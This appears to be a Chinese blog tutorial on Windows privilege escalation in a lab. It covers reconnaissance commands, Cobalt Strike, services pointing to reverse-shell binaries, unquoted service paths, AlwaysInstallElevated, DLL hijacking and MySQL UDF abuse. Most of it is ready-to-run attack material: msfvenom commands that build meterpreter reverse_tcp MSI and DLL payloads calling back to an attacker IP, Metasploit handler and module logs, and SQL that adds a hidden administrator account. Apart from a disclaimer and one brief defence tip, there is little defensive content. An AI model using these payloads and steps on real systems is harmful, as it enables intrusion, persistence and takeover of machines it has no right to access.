Windows系统漏洞提权
本文最后更新于 2024-07-26,文章内容可能已经过时。
windows的权限从低到高:guest < user < administrator < system
Windows权限提升
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
1.1 、利用系统漏洞提权
利用CS插件 进行提权
首先kali启动cs服务:
./teamserver 192.168.91.129 admin123
windows开启cs,并开启监听
创建分布木马:
将生成的木马文件拷贝到目标主机(win8)中,在服务管理器中查看用户
切换为普通用户登录
双击木马在cs中上线
运用插件进行权限提升
成功上线 system
用户
信息收集 :
systeminfo | findstr OS #获取系统版本信息
systeminfo | findstr /C:"Hotfix(s):" /C:"KB" #获取已安装的补丁信息
wmic product get name,version #获取已安装的软件和版本号
wmic nic where PhysicalAdapter=True get MACAddress,Name #获取MAC地址和网卡名
wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #获取ip地址
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取服务pid
netstat -ano | find "pid" #获取远程端口
例如:
获取ip地址信息:
获取用户登录的信息:
1.2 、配置自启动服务
windows中有一个指令
sc
,可以设置服务 可与设置开机自启动
# 创建服务
sc create ziqidong binPath= "C:/tools/revers_tcp.exe" start= auto
#启动服务
sc start ziqidong
#删除服务
sc delete ziqidong
如果没有提权成功,比较难以创建这个服务
假设提权成功,在目标机器中用管理员启动cmd执行命令创建服务,并启动服务
成功上线 system
用户
1.3 、提权---服务的执行路径带空格
例如 :
进入 Program files 目录 ,在此目录存储一个可执行文件,比如 :cmd.exe
在C根目录中 执行 cmd.exe
程序 :
因为windows在执行程序时,遇到空格有一个截取的功能,截取当前空格前的程序执行 。比如:Program.exe程序需要存在
此漏洞windows已经打了补丁,基本上不会存在
所以可以将木马替换成空格前面的文件名执行就可以上线提取了 ,创建一个服务 :
sc create wangan02muma binPath= "C:\Program Files\cmd.exe" start= auto
创建服务之后,启动测试即可上线。
1.4 、注册键提权AlwaysInstallElevated
前提:主要针对
msi
程序
-
创建一个msi木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f msi -o test_msi.msi
将生成的
msi
后缀名文件拷贝到目标主机中 -
Kali中开启监听
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set lhost 192.168.91.129 set lport 5555 run
-
在目标主机上运行木马
弹出对话框,用户点击确认,木马上线
如何防御:
管理员可以取消这个对话框 :
在运行中 输入 gpedit.msc
配置成功后,再次运行这个msi木马,kali中就不会上线木马。
1.5 、DLL劫持
程序在启动会调用本身动态链接库(dll文件) ,那么我们就可以创建木马,替换这些dll文件 ,让木马上线 。
在kali中创建dll木马文件,拷贝到目标主机中替换主机中的程序中的dll文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f dll -o test_dll.dll
这里将创建的dll文件木马,重命名并替换目标主机php5.6.9nts程序中的glib-2.dll的原文件
把生成的木马,替换目标主机中的程序中的dll文件,只要程序执行,调用这个dll文件,木马就可以上线 。
kali中启动监听
运行php.exe程序。即可看到kali中上线
启动第三方软件的时候,会调用很多dll文件,什么叫做用户可控文件?
- 应用程序启动加载自己的目录的dll文件(用户可控文件,可以替换为木马文件)
- C:/windows/system32 目录下的dll文件(系统文件,不可控,不能替换它)
- C:/windows/system (系统文件,不可控,不能替换它)
- C:/windows (系统文件,不可控,不能替换它)
1.6 、UDF提权
1.6.1 、udf提权的原理
用户自定义函数,在Mysql数据库中通过自定义函数,和操作系统进行通信,利用sql中的查询操作操作系统的指令 。
在自定义函数时,必须通过一个dll文件进行创建 ,dll文件可以和操作系统进行通信 。
使用Mysql提权的前提条件 :
-
用户最好是root账号,可以远程访问
-
能入侵到mysql 的账号中去
-
mysql需要有写入任意文件目录的配置
在mysql 的 my.ini文件中 加上 :
secure_file_priv=
1.6.2 、上传dll文件,利用msf
kali启动msf,搜索udf
直接选择第三个模块 :
use 3
show options
设置目标主机ip和数据库root密码
set rhost 192.168.91.138
set password 123456
可以看到kali在目标主机的文件目录下上传了dll文件。
[*] 192.168.91.138:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/YgnXAMLh.dll...
msf6 > use 3
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/mysql/mysql_udf_payload) > show options
Module options (exploit/multi/mysql/mysql_udf_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
FORCE_UDF_UPLOAD false no Always attempt to install a sys_exec() mysql.function.
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 3306 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root no The username to authenticate as
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.92.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts 192.168.91.138
rhosts => 192.168.91.138
msf6 exploit(multi/mysql/mysql_udf_payload) > set password 123456
password => 123456
msf6 exploit(multi/mysql/mysql_udf_payload) > run
[*] Started reverse TCP handler on 192.168.92.128:4444
[*] 192.168.91.138:3306 - Checking target architecture...
[*] 192.168.91.138:3306 - Checking for sys_exec()...
[*] 192.168.91.138:3306 - Checking target architecture...
[*] 192.168.91.138:3306 - Checking for MySQL plugin directory...
[*] 192.168.91.138:3306 - Target arch (win64) and target path both okay.
[*] 192.168.91.138:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/YgnXAMLh.dll...
[*] 192.168.91.138:3306 - Checking for sys_exec()...
[*] 192.168.91.138:3306 - Command Stager progress - 55.47% done (1444/2603 bytes)
[*] 192.168.91.138:3306 - Command Stager progress - 100.00% done (2603/2603 bytes)
[*] Exploit completed, but no session was created.
将上传到目标主机的dll文件,通过远程连接Navicat等方式,执行如下的操作命令即可。
1.6.3 、创建自定义函数
利用远程连接,操作数据库 :
create function sys_eval returns string soname 'YgnXAMLh.dll';
在func这个数据库中即可看到,多出的数据库信息。
然后就可以在Navicat的查询中利用这个函数执行 操作系统的命令 ,例如 :
select sys_eval("ipconfig");
select sys_eval("whoami");
select sys_eval("systeminfo");
SELECT sys_eval('net user test002 zhao123 /add') ;
SELECT sys_eval('net localgroup administrators test002 /add') ;
SELECT sys_eval('net user') ;
- 感谢你赐予我前进的力量